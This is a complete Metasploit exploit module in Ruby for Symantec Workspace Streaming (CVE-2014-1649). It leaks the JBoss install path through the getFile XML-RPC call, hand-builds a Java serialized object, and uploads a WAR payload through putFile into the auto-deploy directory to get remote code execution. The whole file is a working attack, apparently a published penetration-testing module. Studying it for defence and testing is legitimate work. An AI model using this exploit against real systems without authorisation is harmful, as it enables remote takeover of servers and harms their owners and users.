require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include REXML
def initialize(info = {})
super(update_info(info,
'Name'=> 'Symantec Workspace Streaming Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in Symantec Workspace Streaming. The
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
as_agent.exe service, which allows for uploading arbitrary files under the server root.
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
to achieve remote code execution. This module has been tested successfully on Symantec
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
machine deployment, and also in the backend role in a multiple machine deployment.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>',
'juan vazquez'
],
'License' => MSF_LICENSE,
'References'=>
[
['CVE', '2014-1649'],
['BID', '67189'],
['ZDI', '14-127'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
],
'Privileged'=> true,
'Platform'=> 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'May 12 2014'))
register_options(
[
Opt::RPORT(9855),
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]),
], self.class)
end
def send_xml_rpc_request(xml)
res = send_request_cgi(
{
'uri' => normalize_uri("/", "xmlrpc"),
'method'=> 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data'=> xml
})
res
end
def build_soap_get_file(file_path)
xml = Document.new
xml.add_element(
"methodCall",
{
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
})
method_name = xml.root.add_element("methodName")
method_name.text = "ManagementAgentServer.getFile"
params = xml.root.add_element("params")
param_server_root = params.add_element("param")
value_server_root = param_server_root.add_element("value")
value_server_root.text = "*AWESE"
param_file_type = params.add_element("param")
value_file_type = param_file_type.add_element("value")
type_file_type = value_file_type.add_element("i4")
type_file_type.text = "0"
param_file_name = params.add_element("param")
value_file_name = param_file_name.add_element("value")
value_file_name.text = file_path
param_file_binary = params.add_element("param")
value_file_binary = param_file_binary.add_element("value")
type_file_binary = value_file_binary.add_element("boolean")
type_file_binary.text = "0"
xml << XMLDecl.new("1.0", "UTF-8")
xml.to_s
end
def build_soap_put_file(file)
xml = Document.new
xml.add_element(
"methodCall",
{
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
})
method_name = xml.root.add_element("methodName")
method_name.text = "ManagementAgentServer.putFile"
params = xml.root.add_element("params")
param_server_root = params.add_element("param")
value_server_root = param_server_root.add_element("value")
value_server_root.text = "*AWESE"
param_file_type = params.add_element("param")
value_file_type = param_file_type.add_element("value")
type_file_type = value_file_type.add_element("i4")
type_file_type.text = "0"
param_file = params.add_element("param")
value_file = param_file.add_element("value")
type_value_file = value_file.add_element("ex:serializable")
type_value_file.text = file
xml << XMLDecl.new("1.0", "UTF-8")
xml.to_s
end
def build_soap_check_put
xml = Document.new
xml.add_element(
"methodCall",
{
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
})
method_name = xml.root.add_element("methodName")
method_name.text = "ManagementAgentServer.putFile"
xml.root.add_element("params")
xml << XMLDecl.new("1.0", "UTF-8")
xml.to_s
end
def parse_method_response(xml)
doc = Document.new(xml)
file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")
unless file.nil?
file = Rex::Text.decode_base64(file.text)
end
file
end
def get_file(path)
xml_call = build_soap_get_file(path)
file = nil
res = send_xml_rpc_request(xml_call)
if res && res.code == 200 && res.body
file = parse_method_response(res.body.to_s)
end
file
end
def put_file(file)
result = nil
xml_call = build_soap_put_file(file)
res = send_xml_rpc_request(xml_call)
if res && res.code == 200 && res.body
result = parse_method_response(res.body.to_s)
end
result
end
def upload_war(war_name, war, dst)
result = false
java_file = build_java_file_info("#{dst}#{war_name}", war)
java_file = Rex::Text.encode_base64(java_file)
res = put_file(java_file)
if res && res =~ /ReturnObject.*StatusMessage.*Boolean/
result = true
end
result
end
def jboss_deploy_path
path = nil
leak = get_file("bin/CreateDatabaseSchema.cmd")
if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/
path = $1
end
path
end
def check
check_result = Exploit::CheckCode::Safe
if jboss_deploy_path.nil?
xml = build_soap_check_put
res = send_xml_rpc_request(xml)
if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/
check_result =Exploit::CheckCode::Detected
end
else
check_result =Exploit::CheckCode::Appears
end
check_result
end
def exploit
print_status("#{peer} - Leaking the jboss deployment directory...")
jboss_path =jboss_deploy_path
if jboss_path.nil?
fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")
end
print_status("#{peer} - Building WAR payload...")
app_name = Rex::Text.rand_text_alpha(4 + rand(4))
war_name = "#{app_name}.war"
war = payload.encoded_war({ :app_name => app_name }).to_s
deploy_dir = "..#{jboss_path}"
print_status("#{peer} - Uploading WAR payload...")
res = upload_war(war_name, war, deploy_dir)
unless res
fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload")
end
register_files_for_cleanup("../server/appstream/deploy/#{war_name}")
10.times do
select(nil, nil, nil, 2)
print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi(
{
'uri'=> normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET',
'rport'=> ste_port
})
break if res.nil?
break if res.code == 200
end
end
def ste_port
datastore['STE_PORT']
end
def build_java_file_info(file_name, contents)
stream ="\xac\xed"
stream << "\x00\x05"
stream << "\x73"
stream << "\x72"
stream << ["com.appstream.cm.general.FileInfo".length].pack("n")
stream << "com.appstream.cm.general.FileInfo"
stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7"
stream << "\x02"
stream << [6].pack("n")
stream << "Z"
stream << ["bLastPage".length].pack("n")
stream << "bLastPage"
stream << "J"
stream << ["lFileSize".length].pack("n")
stream << "lFileSize"
stream << "["
stream << ["baContent".length].pack("n")
stream << "baContent"
stream << "\x74"
stream << ["[B".length].pack("n")
stream << "[B"
stream << "L"
stream << ["dTimeStamp".length].pack("n")
stream << "dTimeStamp"
stream << "\x74"
stream << ["Ljava/util/Date;".length].pack("n")
stream << "Ljava/util/Date;"
stream << "L"
stream << ["sContent".length].pack("n")
stream << "sContent"
stream << "\x74"
stream << ["Ljava/lang/String;".length].pack("n")
stream << "Ljava/lang/String;"
stream << "L"
stream << ["sFileName".length].pack("n")
stream << "sFileName"
stream << "\x71"
stream << [0x007e0003].pack("N")
stream << "\x78"
stream << "\x70"
stream << [1].pack("c")
stream << [0xffffffff, 0xffffffff].pack("NN")
stream << "\x75"
stream << "\x72"
stream << ["[B".length].pack("n")
stream << "[B"
stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0"
stream << "\x02"
stream << [0].pack("n")
stream << "\x78"
stream << "\x70"
stream << [contents.length].pack("N")
stream << contents
stream << "\x70"
stream << "\x70"
stream << "\x74"
stream << [file_name.length].pack("n")
stream << file_name
stream
end
end